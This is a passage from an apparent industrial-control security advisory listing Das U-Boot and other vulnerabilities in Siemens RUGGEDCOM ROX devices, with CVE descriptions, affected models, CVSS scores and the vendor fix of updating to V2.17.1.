CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1511 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1512 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1524 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1536 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX5000 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.8\nSiemens\nSiemens Ruggedcom Rox\nUncontrolled Recursion, Integer Underflow (Wrap or Wraparound), Out-of-bounds Write, Out-of-bounds Read, Improper Input Validation, Heap-based Buffer Overflow, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Use After Free, Improper Validation of Syntactic Correctness of Input, Improper Control of a Resource Through its Lifetime, Integer Overflow or Wraparound, Incorrect Calculation of Buffer Size, Use of Weak Hash, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Stack-based Buffer Overflow, Expired Pointer Dereference\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-13103\n<div class=\"csaf-accordion-content\">\n\nA crafted self-referential DOS partition table will cause all Das U-Boot versions through 2019.07-rc4 to infinitely recurse, causing the stack to grow infinitely and eventually either crash or overwrite other data.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-13104\n<div class=\"csaf-accordion-content\">\n\nIn Das U-Boot versions 2016.11-rc1 through 2019.07-rc4, an underflow can cause memcpy() to overwrite a very large amount of data (including the whole stack) while reading a crafted ext4 filesystem.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-191 Integer Underflow (Wrap or Wraparound)\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-13106\n<div class=\"csaf-accordion-content\">\n\nDas U-Boot versions 2016.09 through 2019.07-rc4 can memset() too much data while reading a crafted ext4 filesystem, which results in a stack buffer overflow and likely code execution.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14192\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is an unbounded memcpy when parsing a UDP packet due to a net_process_received_packet integer underflow during an nc_input_packet call.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-191 Integer Underflow (Wrap or Wraparound)\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14193\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is an unbounded memcpy with an unvalidated length at nfs_readlink_reply, in the \"if\" block after calculating the new path length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14194\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is an unbounded memcpy with a failed length check at nfs_read_reply when calling store_block in the NFSv2 case.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14195\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is an unbounded memcpy with unvalidated length at nfs_readlink_reply in the \"else\" block after calculating the new path length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14196\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is an unbounded memcpy with a failed length check at nfs_lookup_reply.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14197\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is a read of out-of-bounds data at nfs_read_reply.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.0\n9.1\nCRITICAL\nCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14198\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is an unbounded memcpy with a failed length check at nfs_read_reply when calling store_block in the NFSv3 case.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14199\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is an unbounded memcpy when parsing a UDP packet due to a net_process_received_packet integer underflow during an *udp_packet_handler call.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-191 Integer Underflow (Wrap or Wraparound)\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14200\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is a stack-based buffer overflow in this nfs_handler reply helper function: rpc_lookup_reply.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14201\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is a stack-based buffer overflow in this nfs_handler reply helper function: nfs_lookup_reply.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14202\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is a stack-based buffer overflow in this nfs_handler reply helper function: nfs_readlink_reply.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14203\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is a stack-based buffer overflow in this nfs_handler reply helper function: nfs_mount_reply.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2019-14204\n<div class=\"csaf-accordion-content\">\n\nAn issue was discovered in Das U-Boot through 2019.07. There is a stack-based buffer overflow in this nfs_handler reply helper function: nfs_umountall_reply.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.8\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2020-10648\n<div class=\"csaf-accordion-content\">\n\nDas U-Boot through 2020.01 allows attackers to bypass verified boot restrictions and subsequently boot arbitrary images by providing a crafted FIT image to a system configured to boot the default configuration.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens Ruggedcom Rox\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:RUGGEDCOM ROX MX5000, RUGGEDCOM ROX MX5000RE, RUGGEDCOM ROX RX1400, RUGGEDCOM ROX RX1500, RUGGEDCOM ROX RX1501, RUGGEDCOM ROX RX1510, RUGGEDCOM ROX RX1511, RUGGEDCOM ROX RX1512, RUGGEDCOM ROX RX1524, RUGGEDCOM ROX RX1536, RUGGEDCOM ROX RX5000</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V2.17.1 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/110002017/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 